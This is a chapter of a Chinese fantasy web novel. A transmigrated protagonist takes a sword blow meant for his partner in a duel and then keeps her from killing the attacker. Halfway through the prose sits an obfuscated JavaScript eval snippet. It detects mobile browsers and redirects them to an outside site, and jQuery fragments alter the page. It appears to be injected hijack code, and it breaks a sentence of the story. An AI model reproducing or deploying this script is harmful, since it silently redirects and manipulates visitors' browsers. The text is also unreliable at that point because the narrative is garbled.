叶轻舟看见一片尸山血海。
万魂幡迎风猎猎,吞噬着魂灵最后的哀嚎。
他看见许多陌生的人,有仙有魔,他看见许多熟悉的人,君瑶、师姐、忍冬、武陵相识的道友、长乐坊共谋的朋友……
还有孟十八,她背对着他,像一朵凋零的花。
他手里没有剑,他脸上没有泪,他只是一直在向前走,沿着累累白骨往上攀爬。
他看见孟危的背影,魔尊的背影,他想嘶吼,咆哮,却发不出声。
孟危转头,无脸的魔尊看向他,血从他的眼里流下。
【你不是要救我吗】
叶轻舟陷入空茫的黑暗,回到熟悉的人世。
即使睁开眼,脑中也依然闪回着梦境的碎片,尸骨,万魂幡,孟十八,和无脸的魔尊。
越想忘,越忘不掉。
他支起身,胡乱打开灵网,明灼的名字是亮的,她还活着,叶轻舟重重地吐出一口气,又觉得自己傻,孟十八当然活得好好的。
他又打开系统转移注意力,每个字符蹦到他视线里都是魔尊的碎片。
之前从拍卖会上得到的奖励不知道什么时候已经被领取,成就名、灵石被他随手划过,翻到物品栏时勉强想起还有个盲盒。
他去戳系统,物品栏怎么没东西。
【梦里不知身是客,已使用】
【物品介绍:是梦非梦,你不过行人。使用后会在随机一次梦境里看到特定角色记忆碎片,但受到用户本人认知影响,因人而异,以实际效果为准。】
他想到刚刚的梦,大部分情节已经被淡忘,但是魔尊阴恻恻的话还固执地盘桓在他的脑海里。
那是真实的记忆,还是他扭曲的恐惧,又或者只是一场噩梦?
【随机梦境,受本人认知影响,因人而异】
叶轻舟把这句话反复看了几遍,知道自己没法从系统里抠出准确回答,索性眼睛一闭,手握成拳抵在脑门,让自己冷静下来。
【隐藏剧情:南燕-2】
【任务说明:你当然清楚孟十八的实力,但男主才是世界的基点,他要是没了,大家都要一起完蛋。】
【从孟十八剑下保护燕南陵】
【任务奖励:沉浸式cosplay道具x1,灵石x9999】
保护燕南陵?叶轻舟难以置信,这都是什么鬼任务?这种奖励又是什么东西?他猛戳系统要个解释,但是对方一味装死,只当复读机。
他还不了解孟十八吗?他的搭档虽然是杀手榜首,但也不会滥杀无辜之人,和燕南陵的比试只是为了镜花水月,要是真有杀心,燕南陵现在都该过头七了!
原先噩梦残留的惊惧被不屑占领,叶轻舟在心里嘀嘀咕咕地骂着系统不靠谱,迟早把你拆了!
时辰尚早,楼下只有寥寥几人,孟十八独坐窗边看着灵网。
“醒了?”孟十八眼都不抬,“燕南陵约了时间,我们一起去。”
哦,叶轻舟瞄了她一眼,神色如常。
“昨晚君瑶和你说了什么?”
“哦,没什么,”叶轻舟一边低头点单一边回:“她去包厢的时候听到你喊价了,所以知道咱俩是魔界人。”他没说瑶花琪草的事,“担心你没拍下镜花水月会不会受罚。”
“那个真的是魔皇陛下吧,”他又问了一遍,“君瑶说她黑发红眼,腰间一把剑。”魔界传闻与原著小说里容与是用双剑。
孟十八的回答是把相思楼的情报传给他看。
“看来没认错。”他舀着豆腐脑,食不下咽,想起自己的噩梦,想起莫名其妙的任务,闷声问道:“如果,明灼,如果有天你要去救一个害过你身边人的人,你会救吗?”
“不会。”
孟十八想也没想:“他该死。”
“那你会救一个不救他你就要死的人吗?”
“谁指使,我杀谁。”
叶轻舟叹了口气,语气带着惯用的无奈:“也是,还是你这样简单。”他又咬了一口油条,慢慢嚼着,盯着桌上的纹路,不知道在和谁较劲。
孟十八颦眉看着叶轻舟,食欲不振,表情恹恹,她把糖罐往前推了推。
“有人欺负你要告诉我。”
叶轻舟知道这种硬邦邦的表达是孟十八的关心,他笑了笑,咽下食物。
“我知道,不会的。”
他起身伸了懒腰:“走吧,去提前探探地形。”
*
燕南陵选在了琅琊城外。
视野开阔,没法掩藏,坦坦荡荡,叶轻舟绕了一圈,职业病犯了,指出若干适合布阵与埋尸的地方。
“我可没那么无耻。”
燕南陵没带随从,一人一剑赴约,眼睛很亮,浑身散发着古怪的亢奋。
他见明灼身边还是那个叶轻舟,哼笑一声:“你当裁判。”
叶轻舟自然无异议,他布下结界,把三人包围其中,示意开始。
燕南陵先动了,他的剑华美且锋利,剑柄上刻着含苞欲绽的芙蓉。
他的剑是天才的剑,意气风发,如春风十里,花开满堂。
可明灼没有拔剑,破军在剑鞘里沉默,她脚下步伐微动,已经让燕南陵无法近身。
她没有把自己当对手,她把这场比武当成了玩闹。
燕南陵厉声道:“拔剑!”
拔出你的剑,不然这根本不是比武。
“不用。”
明灼总是能用最平淡的语气说最气人的话:
“赢你,不需要剑。”
凭什么?为什么?她怎么又是这样!
燕南陵的剑变快了,剑招百转千回,越来越狠,带着他的怨气,他的不甘。而明灼好像被困在剑阵里,又好像只是在和孩童玩闹,配合他的游戏。
我要赢你,我一定要赢你,哪怕只有一招,哪怕只有一剑!
一招,十招,他永远在她方寸之外,连片衣角都触碰不到。
他的呼吸越来越急,他的剑不再讲究招式。
“够了,”明灼用剑鞘挡下攻击,“你会输。”
她依旧没有拔剑,因为燕南陵伤不到她。
他太年轻,虽然天赋异禀,精通各路剑术,也能融会贯通,但是他没有杀过人,他不知道真正的比试不是招数,不是修为,是生死。
到此为止就好,明灼在意的不是胜负,只有镜花水月。
她不知道自己的态度更加激怒了燕南陵。
他不能忍受这样的失败,他不愿承认自己的失败。
到底要怎么样才能赢过她?到底怎么样才能证明自己!
明明我才是修仙界的天才,是未来的救世主,为什么我会输给一个籍籍无名的魔!为什么她的眼里根本就没有我!
他再一次与她擦肩而过,他看见那双比秋水更冷的眼眸。
和长乐坊初遇时一样,和对峙时一样,那么漫不经心,那么高高在上。
他看见了明灼,却看不见自己,他听不见世界,只听见了自己心中的声音:
杀了她,她就能看见你了。
他的剑变了,那当然是一把杀人的剑,神兵饮血方得名。
他当然能杀魔修,他是在为民除害,他是在伸张正义,只要杀了她,杀了她就不会再有人敢这样看自己,杀了她就能证明我是强者,杀了她我的剑我的心我就能得到真正的解脱。
他的剑越来越狠,每一招都取人性命,每一式都直逼死穴,他在呼啸的风里大笑。
他不在乎了,这一刻他什么都不在乎,他只要杀了明灼,杀了那个眼中从未有他的女人,把那份傲慢轻视彻底砸碎。
蕴含着所有恨意与不甘的一剑从他手中脱出。
“噗——”
叶轻舟没有看清那一剑,千鸟印在手中发烫,袖中的灵符随念而起,他忘了系统任务,忘了孟十八是相思楼未尝一败的杀手,忘了她曾经独战神木,劈开天地结界。
他低下头,燕南陵的剑穿过他的肩胛骨,流出的血像是芙蓉哭泣流下的泪珠。
他只是下意识,挡在孟十八面前。
溅射出的鲜血唤醒了燕南陵,他脸色煞白,踉跄着后退,亢奋褪去,迟来的神智攥紧他的心脏,他做了什么?他真的想杀了明灼,也真的差一点就杀死了叶轻舟。
“我……我不是……我……”他想把剑拔出来,又想去找药捂住那个伤口,可是他的手在抖,他不知道该怎么办,他不知道自己在做什么,那双意气风发的眼眸里溢出真实的恐慌。
这只是一场比试
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365927|196813||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,是他破坏了规则。
他下意识无助地看向明灼,想要解释。
“嗒。”
孟十八拔出剑,叶轻舟的脸色失去血色,他咬住嘴唇,汗珠从额头滚落到脸颊,像一行未干的泪痕。
纯净的灵力如织网敷上伤口,细细密密地为他止血。
我没事,他努力扯出一个笑,也不知道孟十八会不会信。。
“你怎么敢。”
孟十八转身,她的声音很轻,却重若千钧:“你怎么敢?”
你怎么敢伤了我的人。
那么年轻,那么愚蠢,那么轻而易举。
破军出鞘,似千军万马铁骑阵阵,她终于如他所愿拔出剑,燕南陵在其中听见了死亡。
她真的可以杀了他。
燕南陵看懂了她的眼神。
“不……我可以解释……”
他想辩解,他想起自己的身份,你不能杀了我,我是明见燕的少主,我是仙盟中人,你杀了我他们不会放过你,不会放过魔界。
他甚至可以抬出更高更遥远的大义,五百年的仙魔和平,还有……
——可是明灼不在乎。
她不在乎他,不在乎明见燕,不在乎仙魔,她只是想杀了他,而且她能做到。
“……明灼。”
虚弱的男声在身后响起,叶轻舟轻声道:“我没事,我们先回去吧。”
“他差点杀了你。”
破军剑停在燕南陵面前一寸,孟十八头也不回,漆黑的眼里倒映着燕南陵,渺小且软弱。
这里很方便,空旷,偏僻,外面还有叶轻舟的防护阵。
她不是第一次在这种环境毁尸灭迹。
“我还活着。”叶轻舟坚持往前走了两步,他努力抬起另一条完好的胳膊去碰孟十八的肩膀,“你不能……”
头脑里的系统警报声响个不停,原著男主不能死,燕南陵不能死在这里,不能死在孟十八手上。
“他想杀我。”
孟十八扶起他,让他把重量分给自己,她抱起他如同抱起一片树叶,声音轻轻地砸在叶轻舟的心上。
我没做错任何事,你为什么要阻止我?
叶轻舟无法回答,他知道,他当然知道,可他没有办法。他下意识避开孟十八的视线,低声道:“因为你不是这样的人。”
她就是这样的人。
孟十八没有再说话,她稍微调整了姿势让叶轻舟能考在她怀里,那双杀人的手此刻也温柔地怕伤到他。而对于燕南陵,她只留下一个字:
“滚。”
不该是这样的,燕南陵狼狈地捡起地上的剑,手一抖,剑柄再次落地,半朵芙蓉花埋在土里,连带他都跌坐在地,起不来身。
不该是这样,为什么,为什么他会做出这种事,为什么……他想起那双杀人的眼睛,我到底该怎么办?我还剩什么?
对,还有碧落岛,他还有镜花水月,他还能去碧落岛,他还是明见燕的天之骄子,在那里,他一定……
他一定能找到办法。
*
“我真的没事,”叶轻舟小声解释,他胳膊还没好全,可怜兮兮地绑着绷带:“我们毕竟不在魔界,这也不是老板的任务,多一事不如少一事……”
“他想杀我。”孟十八给绷带收紧打结:“他差点杀了你。”
“这不是没成……”叶轻舟自觉闭嘴,他不能说这是系统在捣乱。“我知道,但是杀了他会很麻烦。”
他拿出千鸟印递给孟十八看,转移话题道:“你看多亏它,把我身上带的防御符自动加固五重威力呢。”他试图让孟十八相信都是因为她好心为自己拍下千鸟印才有今天福大命大。
“你……”
“我肯定和你一起去碧落岛。”叶轻舟立刻接话,好不容易才从她口中听到个我们,他又不是傻子,绝对不要在后方养伤。
“我们可以进去后就用法器把他捆起来带路,二对一,我们占优势。”
孟十八定定地看着他。
“为什么拦我?”
她见叶轻舟面露苦笑,又问:“为什么救我?”
她把药碗搁到一边,没等他回答就起身离开。
于是那些问句随着药香一同坠入叶轻舟心里。